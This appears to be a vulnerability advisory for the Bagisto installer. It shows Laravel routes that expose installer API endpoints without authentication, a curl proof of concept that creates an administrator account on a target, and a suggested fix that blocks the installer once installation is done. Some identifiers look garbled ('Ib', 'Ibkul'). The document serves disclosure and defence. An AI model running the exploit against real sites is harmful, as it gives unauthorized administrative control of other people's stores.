Bagisto Missing Authentication on Installer API Endpoints

<?php

use Illuminate\\Session\\Middleware\\StartSession;  
use Illuminate\\Support\\Facades\\Route;  
use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\_locale'\])-\>group(function () {  
    Route::controller(InstallerController::class)-\>group(function () {  
        Route::get('install', 'index')-\>name('installer.index');

        Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () {  
            Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\_file\_setup');  
            Route::post('run-migration', 'runMigration')-\>name('installer.run\_migration')-\>withoutMiddleware('Ib');  
            Route::post('run-seeder', 'runSeeder')-\>name('installer.run\_seeder')-\>withoutMiddleware('Ib');  
            Route::get('download-sample', 'downloadSample')-\>name('installer.download\_sample')-\>withoutMiddleware('Ib');  
            Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\_config\_setup')-\>withoutMiddleware('Ib');  
            Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\_products\_setup')-\>withoutMiddleware('Ib');  
        });  
    });  
});

#!/bin/bash
# PoC: Create admin account without authentication


TARGET="http://localhost:8000"


# Create a new admin account
curl -X POST "$TARGET/install/api/admin-config-setup" \
    -H "Content-Type: application/json" \
    -d '{
        "admin_name": "Attacker",
        "admin_email": "attacker@evil.com",
        "admin_password": "HackedPassword123"
    }'


echo ""
echo "New admin account created!"
echo "Login at: $TARGET/admin"
echo "Email: attacker@evil.com"

// In InstallerController.php or a new middleware


public function __construct()
{
    // Check if application is already installed
    if (file_exists(base_path('.env')) &&
        config('app.key') &&
        \Schema::hasTable('admins') &&
        \DB::table('admins')->count() > 0) {
        abort(404, 'Application already installed');
    }
}